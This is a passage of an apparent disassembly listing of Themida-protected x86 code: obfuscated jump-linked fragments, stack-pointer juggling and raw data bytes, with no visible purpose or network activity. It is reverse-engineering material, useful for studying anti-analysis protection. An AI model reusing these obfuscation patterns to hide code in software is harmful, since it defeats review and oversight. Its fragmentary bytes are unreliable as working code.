; ---------------------------------------------------------------------------
		dw 0B850h
		dd 4, 0FF73C1E9h, 51A168FFh, 0C15F35C6h, 0DFF702EFh, 0D787EFD1h
		dd 3B66E9h, 0B0C68100h,	0E979E767h, 0FFFF1527h,	70E9565Fh
		dd 58FFFF62h, 0E1C14941h, 8384E902h, 2C8BFFFFh,	4C48324h
		dd 8B240C87h, 0E9522424h, 272Eh
; ---------------------------------------------------------------------------

loc_50EB10:				; CODE XREF: Themida_:0050C606j
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	0
		sub	[esp], ecx
		jmp	loc_5097C1
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 1489689Fh, 1C13B850h, 0D403F88h, 5A47FAh, 0FF7CD2E9h
		dd 2434FFFFh, 65FA6859h, 67E90000h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50EB5B:				; CODE XREF: Themida_:0050FAEFj
		mov	ebp, [esp]
		jmp	loc_5119C7
; ---------------------------------------------------------------------------
		db 59h
		dd 4C481h, 0C4810000h, 4, 4EC81h, 1C890000h, 68E38924h
		dd 3455h, 68243489h, 4,	0E924348Bh, 60ABh, 782FED68h, 0E3BE911h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50EB9A:				; CODE XREF: Themida_:0050D45Dj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_514456
; ---------------------------------------------------------------------------

loc_50EBB1:				; CODE XREF: Themida_:0050FBF1j
		pop	edi
		sub	esi, 35C4FA13h
		mov	ebx, esi
		jmp	loc_507FD3
; ---------------------------------------------------------------------------
		db 57h
		dd 0C7815F54h, 4, 0FF6654E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50EBCD:				; CODE XREF: Themida_:00508E06j
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	ecx, 0Ah
		push	4ECAh
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	6CC2h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5143DF
; ---------------------------------------------------------------------------

loc_50EBFD:				; CODE XREF: Themida_:00504E01j
		mov	edi, 216943C2h
		jmp	loc_51178E
; ---------------------------------------------------------------------------
		db 66h
		dd 9C2424D3h, 0FF0C05E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50EC11:				; CODE XREF: Themida_:0050189Bj
		add	esp, 4
		sub	ebx, 7DA71845h
		push	ebp
		mov	ebp, 7639460Fh
		jmp	loc_50D93B
; ---------------------------------------------------------------------------
		dd 3C8BF821h, 4C48124h,	0E9000000h, 0FFFFB365h,	3CA3E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50EC3E:				; CODE XREF: Themida_:00508F33j
		xor	edx, [esp]
		jmp	loc_500C61
; ---------------------------------------------------------------------------

loc_50EC46:				; CODE XREF: Themida_:00507FF4j
		and	ebp, 34084EDCh
		or	ebp, 2CA40088h
		xor	ebp, 2CAC4888h
		add	edi, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_507C89
; ---------------------------------------------------------------------------

loc_50EC63:				; CODE XREF: Themida_:005073E5j
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		jmp	loc_512988
; ---------------------------------------------------------------------------
		db 50h,	81h, 4
		dd 1D32C724h, 3AE95A53h, 5EFFFF9Ch, 3BA8EA81h, 0CA011E98h
		dd 44ECE956h, 34890000h, 665F6824h, 14890000h, 56AEBA24h
		dd 0E2812C8Fh, 0B1E128Ch, 0FF8B71E9h, 24148BFFh, 4C481h
		dd 0E2810000h, 5E1D259Eh, 1BA5256h, 89000000h, 0F2015AD6h
		dd 0C8C2815Eh, 68DCB8DFh, 48FBh, 50241489h, 6C91E95Ah
		dd 3C8BFFFFh, 6AE95524h, 2D00003Ch, 56443617h, 1705F001h
		dd 5564436h, 35E5668Ah,	8324348Bh, 46E904C4h, 8300005Bh
		dd 1C8904ECh, 9E2BB24h,	0D4E97E92h
		db 16h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50ED17:				; CODE XREF: Themida_:0050E48Ej
		sub	ebx, 0FFFFFFFFh
		add	ebx, 57C2077Ch
		jmp	loc_501EBB
; ---------------------------------------------------------------------------
		dd 6784C681h, 0B9515B7Ch, 60475B8Eh, 2959CE29h,	8EC681EEh
		dd 8360475Bh, 3C8904ECh, 6784BF24h, 0FE295B7Ch,	0F3015D5Fh
		dd 0FFB715E9h, 30E95CFFh
		db 0Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50ED5B:				; CODE XREF: Themida_:0050BFE6j
		xor	esi, 229508D9h
		dec	esi
		and	esi, 793C0A41h
		neg	esi
		add	esi, 4360AA66h
		xor	ebp, esi
		pop	esi
		jmp	loc_508F25
; ---------------------------------------------------------------------------
		dd 0FFFE3058h, 835B2434h, 0C6FE04C4h, 0C008EEC0h, 0CEFE05EEh
		dd 0E9FFC680h, 0FFFF4CDDh, 0E9241C8Bh, 0FFFFF62Ah, 5B87E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50EDA2:				; CODE XREF: Themida_:005072CFj
		xchg	edx, [esp]
		jmp	loc_51140D
; ---------------------------------------------------------------------------

loc_50EDAA:				; CODE XREF: Themida_:0050FBDAj
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		push	5ED0h
		mov	[esp], edx
		jmp	loc_514576
; ---------------------------------------------------------------------------

loc_50EDC4:				; CODE XREF: Themida_:00508525j
		sub	esp, 4
		jmp	loc_510F2A
; ---------------------------------------------------------------------------

loc_50EDCC:				; CODE XREF: Themida_:005128B3j
		sub	esp, 4
		mov	[esp], eax
		push	1674h
		mov	[esp], ebx
		jmp	loc_5088DA
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8904EC83h, 3EE9242Ch, 89FFFF53h, 405E0h, 57550000h
		dd 4EC81h, 15E90000h, 83FFFFD8h, 148904ECh, 0E6895624h
		dd 4C681h, 0A7E90000h, 81FFFFFCh, 4F6D26F6h, 44B0E974h
		dd 0DE29FFFFh, 0FFF97FE9h, 4C481FFh, 0F6000000h, 62EE80D6h
		dd 8B66F030h, 0FCE92414h, 5CFFFFCDh, 4EC8353h, 88240489h
		dd 0A892E9E8h, 483FFFFh, 535F0424h, 0FF93A2E9h,	0ABBF57FFh
		dd 165B102h, 51E95FFDh,	0FFFFFCCh, 0F6168C8h, 4890000h
		dd 99CE924h, 1487FFFFh,	5332E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50EE82:				; CODE XREF: Themida_:00504DBBj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_508569
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 4246C01h,	0FF3747E9h, 4C483FFh, 0FFB104E9h, 94BE56FFh
		dd 0F7476D03h, 9C69E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50EEAE:				; CODE XREF: Themida_:00509ACDj
		mov	[esp], ebx
		push	edx
		jmp	loc_50F89C
; ---------------------------------------------------------------------------

loc_50EEB7:				; CODE XREF: Themida_:00504A5Fj
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		jmp	loc_510623
; ---------------------------------------------------------------------------

loc_50EECF:				; CODE XREF: Themida_:00505596j
		mov	eax, 0D9B03404h
		add	ebx, eax
		pop	eax
		add	ebp, 7E3F41CBh
		add	ebp, ebx
		sub	ebp, 7E3F41CBh
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_50CB4A
; ---------------------------------------------------------------------------
		db 1
		dd 148759CAh, 0CE5DE924h, 814DFFFFh, 1EEA23C5h,	0CB705B6h
		dd 0E8011A58h, 580CB72Dh, 2434FF1Ah, 4C4835Dh, 6803E8C1h
		dd 1520h, 0BF243C89h, 109B1690h, 1600B951h, 93E958A6h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50EF37:				; CODE XREF: Themida_:00508E57j
		sub	edi, eax
		sub	edi, 44B63136h
		pop	eax
		xchg	edi, [esp]
		jmp	loc_5077CE
; ---------------------------------------------------------------------------
		dd 4C18159h, 50000000h,	0FF251DE9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5055DC
; ---------------------------------------------------------------------------

loc_50EF6D:				; CODE XREF: Themida_:005138E6j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_501903
; ---------------------------------------------------------------------------

loc_50EF79:				; CODE XREF: Themida_:0050173Cj
		sub	ebp, 461850FDh
		jmp	loc_50BC5D
; ---------------------------------------------------------------------------

loc_50EF84:				; CODE XREF: Themida_:0050D936j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_4FFF13
; ---------------------------------------------------------------------------

loc_50EF95:				; CODE XREF: Themida_:00511484j
		jmp	loc_4FF816
; ---------------------------------------------------------------------------

loc_50EF9A:				; CODE XREF: Themida_:00500176j
		mov	esi, 569F32F8h
		jmp	loc_505507
; ---------------------------------------------------------------------------

loc_50EFA4:				; CODE XREF: Themida_:00503CB7j
		shr	ecx, 7
		push	9B2h
		mov	[esp], edx
		push	2B89h
		jmp	loc_50C1E4
; ---------------------------------------------------------------------------

loc_50EFB9:				; CODE XREF: Themida_:0050F3B7j
		sub	ebp, ecx
		pop	ecx
		and	ebp, 3DDE3547h
		neg	ebp
		shr	ebp, 2
		xor	ebp, 3DD8B44Ah
		mov	esi, ebp
		jmp	loc_505609
; ---------------------------------------------------------------------------

loc_50EFD4:				; CODE XREF: Themida_:005148C6j
		push	esp
		jmp	loc_50F9FE
; ---------------------------------------------------------------------------

loc_50EFDA:				; CODE XREF: Themida_:0050623Aj
		sub	eax, 64734E97h
		jmp	loc_5005B2
; ---------------------------------------------------------------------------

loc_50EFE4:				; CODE XREF: Themida_:0051398Aj
		push	esp
		jmp	loc_50273E
; ---------------------------------------------------------------------------

loc_50EFEA:				; CODE XREF: Themida_:005137ABj
		add	ebx, 4DB71770h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_508919
; ---------------------------------------------------------------------------
		dw 3359h
		dd 4312404h, 24043324h,	5624248Bh, 0B547C968h, 0BF575E79h
		dd 631A4782h, 0FF8662E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50F01D:				; CODE XREF: Themida_:005036CEj
		add	al, dl
		sub	al, 3Eh
		mov	edx, [esp]
		jmp	loc_509B16
; ---------------------------------------------------------------------------
		db 58h,	81h, 0C4h
		dd 4, 88DE8852h, 34FF2877h, 89505A24h, 405E0h, 34E90000h
		dd 66FFFF62h, 665D665Fh, 1BB96651h, 0CD016642h,	89665966h
		dd 665B5DEEh, 5260E681h, 7EEC166h, 144E9h, 0F8015E00h
		dd 0E728582Dh, 0EFE95F78h, 81FFFF70h, 0AA6DF9F7h, 5FFE29EEh
		dd 0FFE840E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50F085:				; CODE XREF: Themida_:005129F2j
		pop	esi
		jmp	loc_507BED
; ---------------------------------------------------------------------------
		db 0FFh
		dd 515F2434h, 0C181E189h, 4, 0FFA6DFE9h, 2C281FFh, 33000000h
		dd 14312414h, 24143324h, 6624248Bh, 5624048Bh, 0BB53E689h
		dd 359637ADh, 736CE381h, 0C3811DD2h, 1,	17C0F381h, 0EB815379h
		dd 46EB24E9h, 0D2E9DE01h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50F0DB:				; CODE XREF: Themida_:004FFF14j
		mov	[esp], esi
		push	ebp
		mov	ebp, 4BC02483h
		mov	esi, ebp
		mov	ebp, [esp]
		push	edx
		jmp	loc_50489E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0FFD03100h, 0E5E92434h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50F0FF:				; CODE XREF: Themida_:00501A31j
		not	ecx
		jmp	loc_5036D3
; ---------------------------------------------------------------------------

loc_50F106:				; CODE XREF: Themida_:0050D7AFj
		shr	edi, 6
		shl	edi, 7
		dec	edi
		add	edi, 37092C03h
		push	edi
		jmp	loc_503CE0
; ---------------------------------------------------------------------------
		db 29h,	0F9h, 0E9h
		dd 0FFFF7559h
; ---------------------------------------------------------------------------

loc_50F120:				; CODE XREF: Themida_:00503BDEj
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_507F44
; ---------------------------------------------------------------------------
		db 66h
		dd 3BE9E3D1h
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50F13B:				; CODE XREF: Themida_:0050DD31j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	ebp
		jmp	loc_50DFBD
; ---------------------------------------------------------------------------
		dd 4B30F66h, 0C3E99C24h, 5DFFFF06h, 70BAEA81h, 0C281022Ah
		dd 97781556h, 3ECAE9h, 0C4835E00h, 8BC80104h, 0C483240Ch
		dd 2F96804h, 0FE90000h,	89FFFF68h, 0E1E955E7h, 0ACFFFF21h
		dd 0FF3C9BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50F189:				; CODE XREF: Themida_:00506425j
		push	79BDh
		mov	[esp], ebp
		push	esi
		mov	esi, 3F37591Ch
		push	eax
		mov	eax, 1C4B324Bh
		shl	eax, 3
		shr	eax, 7
		add	eax, 71C55737h
		jmp	loc_50BB44
; ---------------------------------------------------------------------------
		db 66h,	81h, 0F6h
		dd 99E914EEh
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50F1B7:				; CODE XREF: Themida_:0050CE9Dj
		pop	esp
		add	esp, 4
		pop	ecx
		jmp	loc_50F743
; ---------------------------------------------------------------------------

loc_50F1C1:				; CODE XREF: Themida_:00500F96j
		add	ebp, 2CF8197Ch
		jmp	loc_5147D6
; ---------------------------------------------------------------------------

loc_50F1CC:				; CODE XREF: Themida_:00509B9Ej
		mov	esi, edi
		pop	edi
		add	eax, esi
		pop	esi
		jmp	loc_50AD4A
; ---------------------------------------------------------------------------
		db 0ACh
		dd 5166D830h, 770489B1h, 0C800142Ch, 36E91404h,	89FFFF68h
		dd 32B42404h, 0DCF6D4F6h, 0C012CC80h, 0E4C003ECh, 86C48004h
		dd 0FFD768E9h, 80C328FFh, 0EC8138C3h, 4, 51241C89h, 531DBF68h
		dd 0E9815977h, 77531D87h, 0C8BCB89h, 4C48324h, 7157EB81h
		dd 2CE90DE8h, 66FFFFC0h, 8124048Bh, 4ECh, 64EFE900h, 0EC83FFFFh
		dd 241C8904h, 83515B54h, 1C8904ECh, 1A53E924h, 0FF640000h
		dd 5B8E932h, 0D9F7FFFFh, 0E1D1E1D1h, 0FF6433E9h, 51665CFFh
		dd 2430E9h, 5AD52900h, 5B7CE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50F27A:				; CODE XREF: Themida_:0050BDBEj
		xor	dl, cl
		mov	cx, [esp]
		add	esp, 2
		push	ecx
		mov	cl, 9Dh
		shl	cl, 5
		and	cl, 45h
		jmp	loc_50E3E0
; ---------------------------------------------------------------------------

loc_50F294:				; CODE XREF: Themida_:00506AE2j
		sub	edx, 0E3048h
		add	eax, edx
		jmp	loc_501B14
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 83000000h, 2C8904ECh, 4BD24h, 0E9010000h, 240C875Dh
		dd 524248Bh, 4,	300CE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50F2C6:				; CODE XREF: Themida_:00513E64j
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		push	4BDCh
		mov	[esp], edi
		jmp	loc_502A72
; ---------------------------------------------------------------------------
		dd 359ACD81h, 0DDF742A4h, 1AA4B850h, 0A32D3CADh, 293CAD1Ah
		dd 524558C5h, 0AE4003BAh, 5AD50157h, 75DCC181h,	0E90158ACh
		dd 75DCE981h, 575D58ACh, 4BFh, 5FF90100h, 5FFC68h, 7579E900h
		dd 0FE68FFFFh, 89000040h, 0E6892434h, 4C681h, 0EE830000h
		dd 24343304h, 33243431h, 895C2434h, 0EC83242Ch,	3F0A6804h
		dd 24890000h, 24048124h, 4, 5524048Fh, 4BDh, 7FC1E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50F366:				; CODE XREF: Themida_:0050B460j
		sub	dl, 0A4h
		jmp	loc_51082A
; ---------------------------------------------------------------------------
		dw 835Dh
		dd 9FE904C4h, 81FFFF04h, 42404h, 48F0000h, 3D6F6824h, 1C890000h
		dd 0B8505524h, 4, 0FFA006E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50F395:				; CODE XREF: Themida_:005128DCj
		mov	ebp, [esp]
		push	2AA1h
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, 5B412D83h
		push	ecx
		mov	ecx, 8AC38B7h
		jmp	loc_50EFB9
; ---------------------------------------------------------------------------
		dd 405h, 4C08300h, 5C240487h, 0FF1492E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50F3CD:				; CODE XREF: Themida_:00512438j
		mov	[esp], ecx
		mov	ecx, 24AC17C0h
		jmp	loc_510831
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 2FBD6824h, 3C8B70ADh, 4C48324h, 0FFF83BE9h, 4C481FFh
		dd 0E9000000h, 0FFFF57DFh, 73140E2Dh, 56F82932h, 73140EBEh
		dd 5EF00132h, 2404875Fh, 8924248Bh, 58542404h, 536E9h
		dd 66F80000h, 0CDB252h,	45A66D0h, 0EC815B82h, 4, 50240C89h
		dd 0E188BFB4h, 4EC8158h, 89000000h, 0ECB42404h,	10B9E9h
		dd 8BDE3100h, 8957241Ch, 4C781E7h, 83000000h, 3C8704C7h
		dd 142D5C24h, 68601357h, 1674h,	0BF243C89h, 69902A49h
		dd 0FF9A8BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50F471:				; CODE XREF: Themida_:0051312Ej
		push	2Ch
		jmp	loc_50DD25
; ---------------------------------------------------------------------------

loc_50F47B:				; CODE XREF: Themida_:00504A57j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_50DDA8
		push	4F13h
		mov	[esp], ebp
		push	7D7C38FBh
		jmp	loc_5119BB
; ---------------------------------------------------------------------------
		db 0B8h, 0F7h, 21h
		dd 0C201FE63h, 8BD70158h, 0FBE92414h, 83FFFF84h, 0EA0402C4h
		dd 240C8B66h, 0FF7146E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50F4C1:				; CODE XREF: Themida_:0050BAA9j
		add	ebx, 0E391FBA6h
		jmp	loc_50CBF2
; ---------------------------------------------------------------------------

loc_50F4CC:				; CODE XREF: Themida_:005106E3j
		add	esi, 36790355h
		xor	esi, 45F93FDCh
		sub	esi, 700608C9h
		jmp	loc_505CCB
; ---------------------------------------------------------------------------

loc_50F4E3:				; CODE XREF: Themida_:0050AF39j
		or	edi, 5EE33BECh
		jmp	loc_50B9D4
; ---------------------------------------------------------------------------

loc_50F4EE:				; CODE XREF: Themida_:005042A0j
		mov	esp, [esp]
		sub	eax, ebx
		mov	ebx, [esp]
		jmp	loc_4FFE2B
; ---------------------------------------------------------------------------

loc_50F4FB:				; CODE XREF: Themida_:00512CF3j
		mov	[esp], edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 5C796265h
		add	edi, 6B94EA0h
		inc	edi
		shl	edi, 7
		sub	edi, 6ACB5B7Ah
		sub	edi, 2E8D2782h
		jmp	loc_504A5C
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 4
		dd 87000000h, 8DE9240Ch, 87FFFFBFh, 248B242Ch, 242C8924h
		dd 5D2414F7h, 804CE953h, 875BFFFFh, 895C2404h, 0FD68242Ch
		dd 5D71CD37h, 0E2ED814Dh, 0E902AE4Bh, 0FFFFCA42h
; ---------------------------------------------------------------------------

loc_50F55C:				; CODE XREF: Themida_:0050E921j
		add	edx, 224A65A8h
		pop	esi
		add	edx, ebx
		push	eax
		mov	eax, 479409ADh
		not	eax
		jmp	loc_51098B
; ---------------------------------------------------------------------------

loc_50F572:				; CODE XREF: Themida_:004FFBEFj
		push	4D9Fh
		mov	[esp], ecx
		mov	ch, bl
		push	eax
		mov	ah, ch
		mov	dh, ah
		pop	eax
		pop	ecx
		pop	ebx
		jmp	loc_50AB31
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 69h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50F58F:				; CODE XREF: Themida_:00510ED6j
		mov	[esp], ax
		jmp	loc_502022
; ---------------------------------------------------------------------------
		dd 8B59CA01h, 0DCE9241Ch
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50F5A3:				; CODE XREF: Themida_:00500604j
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_50B229
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6FE9240Ch, 1FFFFFDh,	83E95DEBh, 8FFFFF15h, 0E95C2404h
		dd 0FFFF6584h, 4C181h, 0BB530000h, 4, 0E95BD901h, 0FFFFA82Ah
		dd 0E95EF121h, 0FFFF5FC7h, 5966402Ch, 0FF911CE9h, 0CB2958FFh
		dd 0E9240C8Bh, 0FFFF7E20h
; ---------------------------------------------------------------------------

loc_50F5F8:				; CODE XREF: Themida_:0050B51Aj
		or	edi, 1005156Dh
		shl	edi, 4
		jmp	loc_5125AA
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0C2830000h, 24148704h, 240C335Ch, 0E9240C31h
		dd 458Bh, 5002C083h, 42474FFh, 24048F58h, 0FF348EE9h, 0E78957FFh
		dd 4C781h, 0A1E90000h, 88FFFF9Bh, 2041E9E3h, 8F660000h
		dd 75DFE902h, 0E958FFFFh, 0FFFFA1C1h, 0A23BED81h, 0EF8941F2h
		dd 0FD96E95Dh, 0C8BFFFFh, 4C48124h, 81000000h, 4ECh, 5F71E900h
		dd 0D8F7FFFFh, 3504E8C1h, 9A94F98h, 0FF4F8EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50F685:				; CODE XREF: Themida_:00508471j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 32BACAF8h
		xor	eax, edx
		jmp	loc_5141EB
; ---------------------------------------------------------------------------

loc_50F69B:				; CODE XREF: Themida_:0050E1E2j
		pop	ebp
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_50A9F6
; ---------------------------------------------------------------------------

loc_50F6AB:				; CODE XREF: Themida_:005025CFj
		mov	ebp, edx
		pop	edx
		jmp	loc_508005
; ---------------------------------------------------------------------------

loc_50F6B3:				; CODE XREF: Themida_:005119C2j
		push	ebp
		mov	ebp, 0D7DEBABBh
		sub	ecx, 499B6B4Bh
		sub	ecx, ebp
		jmp	loc_514DEE
; ---------------------------------------------------------------------------
		dw 1489h
		dd 8B15E924h, 8B66FFFFh, 0EC812404h, 4,	2D48E9h
		db 0
; ---------------------------------------------------------------------------

loc_50F6DD:				; CODE XREF: Themida_:0050F7F6j
		push	dword ptr [esp]
		jmp	loc_507AAE
; ---------------------------------------------------------------------------

loc_50F6E5:				; CODE XREF: Themida_:0050B609j
		mov	ecx, 0EC78BD5h
		sub	edi, ecx
		pop	ecx
		sub	edx, 7A9842CEh
		add	edx, edi
		jmp	loc_5105C6
; ---------------------------------------------------------------------------

loc_50F6FA:				; CODE XREF: Themida_:00501B2Fj
		mov	ecx, [esp]
		jmp	loc_512260
; ---------------------------------------------------------------------------
		dw 0B6B8h
		dd 0E907C94Ah, 0FFFF6699h
; ---------------------------------------------------------------------------

loc_50F70C:				; CODE XREF: Themida_:00502CBBj
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_502147
; ---------------------------------------------------------------------------

loc_50F719:				; CODE XREF: Themida_:0050369Fj
		mov	edx, 43187EA1h
		inc	edx
		shr	edx, 8
		jmp	loc_4FF8DB
; ---------------------------------------------------------------------------
aYsjc		db 'YC',0
		dd 68226800h, 2C8B2B23h, 4C48324h, 47ACE9h
		db 0
; ---------------------------------------------------------------------------

loc_50F73D:				; CODE XREF: Themida_:0050AB05j
		pop	esi
		jmp	loc_5072A3
; ---------------------------------------------------------------------------

loc_50F743:				; CODE XREF: Themida_:0050F1BCj
		push	6CCEh
		mov	[esp], eax
		jmp	loc_4FF816
; ---------------------------------------------------------------------------

loc_50F750:				; CODE XREF: Themida_:0050BE31j
		pop	edi
		push	ebp
		push	3867h
		mov	[esp], edi
		push	47222B93h
		pop	edi
		push	edx
		mov	edx, 388052FCh
		jmp	loc_50C0B5
; ---------------------------------------------------------------------------

loc_50F76B:				; CODE XREF: Themida_:00506093j
		or	bl, 8Ah
		sub	bl, 0C2h
		shr	bl, 1
		sub	bl, 0E5h
		add	cl, bl
		jmp	loc_50E810
; ---------------------------------------------------------------------------
		db 89h,	0D7h, 89h
		dd 1CA1E9FBh, 0C301FFFFh, 2BBE5652h, 8114F945h,	0A62772EEh
		dd 0A168552Bh, 89000010h, 0CAE92404h, 89000020h, 0D0215BDAh
		dd 0FF3969E9h, 0E9DA31FFh, 3C1Fh, 5C243433h, 0FF288AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50F7BD:				; CODE XREF: Themida_:00508C97j
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_503CB6
; ---------------------------------------------------------------------------

loc_50F7D7:				; CODE XREF: Themida_:00511E55j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_4FF9DE
		push	dword ptr [edi+1Ch]
		jmp	loc_50F6DD
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 241CD259h, 0CE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50F80A:				; CODE XREF: Themida_:00508330j
		sub	esi, edi
		add	esi, 2CA001ABh
		pop	edi
		add	esi, 16855F2Ch
		sub	esi, 77759ADh
		add	esi, edx
		jmp	loc_512B97
; ---------------------------------------------------------------------------
		dw 4C01h
		dd 0C8B0424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
		db 0BAh, 5Eh, 41h
		dd 0D5014C7Ah, 0FF4649E9h, 2B966FFh, 4C016600h,	59660224h
		dd 0FEFFB5E9h, 1C77FFFFh, 0D259669Dh, 0E99C2414h, 0FFFEFFA6h
		dd 8924248Bh, 0D3E92414h, 81000040h, 369E23C2h,	5A5E5298h
		dd 4247431h, 1773E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50F88E:				; CODE XREF: Themida_:00501CE3j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_50DA10
; ---------------------------------------------------------------------------

loc_50F89C:				; CODE XREF: Themida_:0050EEB2j
		mov	dl, 3Dh
		jmp	loc_51338C
; ---------------------------------------------------------------------------
		db 5Ch
		dd 57E28952h, 0FFC92AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50F8AD:				; CODE XREF: Themida_:0050DDE1j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_511097
; ---------------------------------------------------------------------------

loc_50F8C7:				; CODE XREF: Themida_:0050B91Aj
		mov	esi, 4
		and	ecx, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_50017B
; ---------------------------------------------------------------------------
		align 2
		dw 66DDh
		dd 256AE95Bh, 0AF68FFFFh, 89000037h, 54F6241Ch,	0E95B0124h
		dd 0FFFF8F8Bh, 2BF57h, 0EE810000h, 37146366h, 1ECEE81h
		dd 0C6817D49h, 20847E50h, 90E9FE01h, 68FFFF99h,	65FAh
		dd 0BF243C89h, 4, 815FFA01h, 4ECh, 243C8900h, 2BFh, 0E9FA0100h
		dd 0FFFFB89Ah, 59470EBDh, 8B9E933h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50F942:				; CODE XREF: Themida_:004FFEEAj
		shl	dl, 2
		sub	dl, 0F5h
		add	al, dl
		jmp	loc_509A51
; ---------------------------------------------------------------------------
		db 5
		dd 4, 4C83E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50F95A:				; CODE XREF: Themida_:00508ED9j
		push	75BCh
		jmp	loc_501346
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 9CC88566h, 0FF4141E9h, 26C581FFh,	0C1657547h
		dd 0F58108EDh, 26E7B706h, 0E95DEB89h, 0FFFF7276h
; ---------------------------------------------------------------------------

loc_50F988:				; CODE XREF: Themida_:00512A55j
		xor	esi, 0E6A03EA4h
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 3FD035B4h
		mov	ecx, edx
		pop	edx
		push	esi
		mov	esi, 319430C1h
